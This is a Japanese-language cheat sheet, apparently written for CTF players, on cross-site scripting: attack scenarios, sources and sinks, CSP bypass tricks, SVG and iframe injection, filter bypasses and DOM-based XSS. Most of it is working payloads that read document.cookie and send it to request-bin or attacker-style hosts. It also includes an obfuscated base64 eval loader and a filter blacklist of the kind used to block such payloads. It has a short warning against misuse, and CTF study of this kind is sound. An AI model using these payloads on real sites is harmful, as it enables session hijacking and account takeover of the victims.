本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。
クロスサイトスクリプティング(XSS)とは
攻撃者の作成したスクリプトを脆弱性のあるサイトで実行すること。
名前は歴史的なものらしいので、意味はあまり気にしなくていい。
クロスサイトスクリプティング - Wikipedia
攻撃シナリオ
攻撃シナリオは数多くあるが、最も分かりやすい目的はCookieに含まれるセッション奪取である。
CTFでもそれを想定した問題が最も出やすい。
セッション奪取を目的とした攻撃シナリオをまずは理解しよう。
- とある任意のコードを埋め込める脆弱サイトが存在する
- 攻撃者がその脆弱サイトにこっそりCookieを全部抜き取って送るような攻撃コードを置く
- 被害者がそれのサイトにアクセスすると攻撃コードが発動する
- 攻撃者側にCookieが送られてくるので、そこに含まれるセッションIDを自分のCookieとして設定する
- 被害者がログアウトしない限り、攻撃者は被害者アカウントを自由に使用することができる
こういうセッションハイジャックが成立する。
はじめて見ると、手順2に現実性を感じないかもしれないが、CTF問題を1つでも解けば、確かに起こるかもなぁとなる。
セッションハイジャックは一例であり、キーロガーや画面の改ざん、一時期流行ったマイニングといった様々なことが行える。
CTFでは?
XSS問題では、大体adminにURLを提示して見てもらえるようなインターフェイスが公開されている。
なので、adminにURLを送るような問題ではXSSを疑って、まずはadminのCookieを抜き取れないか試行してみよう。
攻撃方法
基本的にはソースとシンクをチェックしていく。
XSSは悪意ある攻撃者の入力をそのまま表示してしまうことで成立する。
よって、入力は大丈夫か?出力は大丈夫か?といった所が観点としてある。
- ソース:ユーザーから情報を受け取る元
- シンク:ユーザーから受け取った情報を表示する先
- 色々あるが、XSSと呼ばれるのはシンクが「画面出力、HTML,CSS,JavaScript」を指す場合である
- サーバでのコマンド実行ならコマンドインジェクションだし、メール/httpレスポンスヘッダーの中身ならヘッダーインジェクションだし
- 挿入物
- htmlタグ
- javascriptコード
- CSSコード
XSSではこのように沢山選択肢があるが、基本的にはjavascriptを実行させるルートがCTFでは多い。
ペイロード
- ペイロードまとめ
- PayloadsAllTheThings/XSS Injection at master · swisskyrepo/PayloadsAllTheThings
- XSSパターン
- XSS フィルター回避チートシート - OWASP
- XSS GAME - Zedd's Blog
- terjanq/Tiny-XSS-Payloads: A collection of tiny XSS Payloads that can be used in different contexts.
- XSS Challenge(セキュリティ・ミニキャンプ in 岡山 2018) Writeup - こんとろーるしーこんとろーるぶい
- XSS Challenge (xss.shift-js.info) writeup - Lを探す日常
- XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup - Szarny.io
- Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa/filterbypass Wiki
使用済みペイロード
<img src=1 onerror="window.location.href='https://[RequestBinURL]?get='+document.cookie"> <img src="http://requestbin.net/r/18hvll91" /> <img src="http://requestbin.net/r/13ewswv1/ab.png" /> // <img src="[injection]">にinjection 1" onerror="document.location='http://requestbin.net/r/1fah6u21?q='+document.cookie <script>window.location='http://requestbin.net/r/13ewswv1/?q='+document.cookie;</script> <img src=x onerror=this.src='http://requestbin.net/r/13ewswv1/?q='+document.cookie /> <script>window.location='https://requestb.in/********?'+document.cookie;</script> <script type="text/javascript">window.location='https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSU...(省略)';</script> <script>new Image().src='your_server_malicious_host/malicious.php?code='%2Bdocument.cookie</script> <script>document.write('<img src="http://localhost/~dliu/malicious.php?code='%2Bdocument.cookie%2B'">')</script> <script>new Image().src="https://requestb.in/XXXXXX"+document.cookie;</script> <img src=x onerror=this.src='https://requestb.in/XXXXXXX'+document.cookie /> <script>location.href="http://requestbin.fullcontact.com/hogehoge"</script> <script>(new Image).src='http://requestbin.fullcontact.com/xxxxxxx?'+document.cookie</script> <script>fetch('http://<my_server>/?'+document.cookie)</script> file:///app/templates/index.html?",%20"status":%20"ok",%20"content":%20["abc\u0022%20onerror\u003d\u0022var%20i%3Ddocument.createElement('iframe')%3Bi.src%3D'.%2Fflag.txt'%3Bi.onload%3Dfunction()%7B(new%20Image).src%3D'http%3A%2F%2Frequestbin.net/r/18hvll91%3F'%2Bi.contentDocument.body.innerText%7D%3Bdocument.body.append(i)"],%20"a":%20"
テク一覧
CSP回避テク
- CSP: Content Security Policy
- 挿入されたjavascriptの実行を制約することで、XSSが成立しないようにする
- サーバからブラウザへポリシーを伝えることで、そのポリシー以外の実行を制限する
content-security-policy:
を見ると、許可されている操作が書かれているので、許可されてる範囲でバイパスを考える
script-src 'self' data:;
- script-srcのdataスキームが許可されている
<script src="data:text/javascript,ここに任意コード">
<script src="data:text/javascript,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://requestbin.net/r/1ax2j8w1?q='+escape(x))">
script-src 'self' ajax.googleapis.com 'unsafe-eval';
- ajax.googleapis.comが使える。こういった時は外部ライブラリを踏み台にしてバイパスする
- Angular.js
- 直後にng-app属性を持ったpタグを入れることで、内部のjsコードを即座に実行してくれる
html <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js"></script> <p ng-app>{{constructor.constructor('ここに任意コード')()}}
- 直後にng-app属性を持ったpタグを入れることで、内部のjsコードを即座に実行してくれる
script-src: strict-dynamic
"script-src":"'self' 'unsafe-inline'"
インライン JavaScript および CSS を許可します
- 普通に
<script>sendMyDataToEvilDotCom();</script>
が許可される
default-src 'self'
テクいろいろ
- SVG image
- SVGはXML形式なので、scriptタグを入れることでjavascriptを埋め込むことができる
- SVGにjsコードを埋め込んでアップロードさせ、それを読み込むことで発火させる
- CONFidence CTF 2019
- '>">123: CTFZone 2019 Quals - Shop Task
html <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg ...> <script> alert(1); </script> </svg>
- javascript内部
let data='[injection]';
の場合javascript base64DATAXXXXXXX'%0atry{throw 'ev'%2b'al'}catch(e){try{throw frames[e]}catch(c){c(atob(data))}}%0a//
- base64DATAXXXXXXXの所にbase64エンコードしたjsコードを埋め込む。
location.href = "http://requestbin.net/r/1fah6u21?q=" + btoa(ducument.cookie)
ならbG9jYXRpb24uaHJlZiA9ICJodHRwOi8vcmVxdWVzdGJpbi5uZXQvci8xZmFoNnUyMT9xPSIgKyBidG9hKGR1Y3VtZW50LmNvb2tpZSk=
なので、bG9jYXRpb24uaHJlZiA9ICJodHRwOi8vcmVxdWVzdGJpbi5uZXQvci8xZmFoNnUyMT9xPSIgKyBidG9hKGR1Y3VtZW50LmNvb2tpZSk='%0atry{throw 'ev'%2b'al'}catch(e){try{throw frames[e]}catch(c){c(atob(data))}}%0a//
となる。- base64のプログラムを入れ込んで、後半でデコードして実行する
- titleタグにインジェクションできるとき
- php - XSS attack in title-tag - Stack Overflow
</title>任意のタグ
を入れることで、サイト構成をコントロールできる。</title></head><body>abc</body><!--
こんなこともできる。
- src属性とiframeタグでXSS
html <iframe src="javascript:document.location='https://myserver.tld?cookie='+document.cookie"></iframe> <iframe src="javascript:window.location.href='https://[RequestBinURL]?get='+document.cookie"> <iframe src="data:text/html,<script>window.location='http://requestbin.net/r/1mkcnuc1?q='+document.cookie;</script>"></iframe> <iframe src="data:text/html,abab<script>window.location='https://evilman.requestcatcher.com/q?q='+document.cookie;</script>"></iframe> <iframe src="javascript:window.location.href='https://evilman.requestcatcher.com/q?q='+document.cookie">
- base64エンコードで埋め込む
- HTML entity encodeして埋め込む
- 攻撃成功したことないけど
- base tag injection
- markdown2.markdown
- ライブラリで脆弱性がある場合があり、XSSできる
- Filter bypass leading to XSS · Issue #341 · trentm/python-markdown2
<http://g<!s://q?<!-<[<script>alert(1);/\\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>aler(1);/*](http://g)->a>
- Another Filter bypass leading to XSS · Issue #348 · trentm/python-markdown2
- innerHTMLのHTMLエンティティ変換のバイパステク
- Twitterで見つけたネタ
DOM-based XSS
- jsを使ってXSSする(クライアント側でXSS)
- Client XSS Introduction - DomGoat
- このサイトで学習するのが分かりやすい
- soruce
- Sources - DomGoat
- ここで色々紹介されている
- 基本的には外部から入れられるものは全てsourceとなりうる
- hashvalueでのinjectionはまあまあ有名(Twitterで)
- ここに資料がある
フィルタリングバイパステク
- とりあえず、ここに書くけど、別に移すかも
- 改行(%0a)することでバイパスする
- 改行すると改行前まででチェックが走ってそれ以降がバイパスできる
- どこかが使ってたブラックリスト
javascript "document", "window", "top", "parent", "global", "this", "console", "alert", "log", "promise", "fetch", "eval", "import", "<", ">", "`", "\\*", "&", "#", "%", "\\\\", "if", "set", "get", "with", "yield", "async", "wait", "func", "for", "error", "string", "href", "location", "url", "cookie", "src",
- こんだけやっててもバイパスされます
- 文字数制限をバイパスするにはGETパラメタとかで外部から抜いてやればいい
https://fb_library.tjctf.org/search?q=evil
はXSS脆弱性があり、evil部分に適当なコードを入れると発動するとする- evil部分には文字数制限があり、たくさんの文字は入れられない。これを回避するのに、以下では、呼び出し元のwindow.nameを使っている。
javascript window.name = "window.location = 'http://requestbin.com/evil?q=' + document.cookie;"; location = "https://fb_library.tjctf.org/search?q=<script>eval(name)/*";
Practicalな話
実装時に気を付けること
入力時・出力時に適切な処理を行うことが大前提な感じがする。
まとまったら加筆する。
(CTFじゃ使えないけど)テストツール
知らない。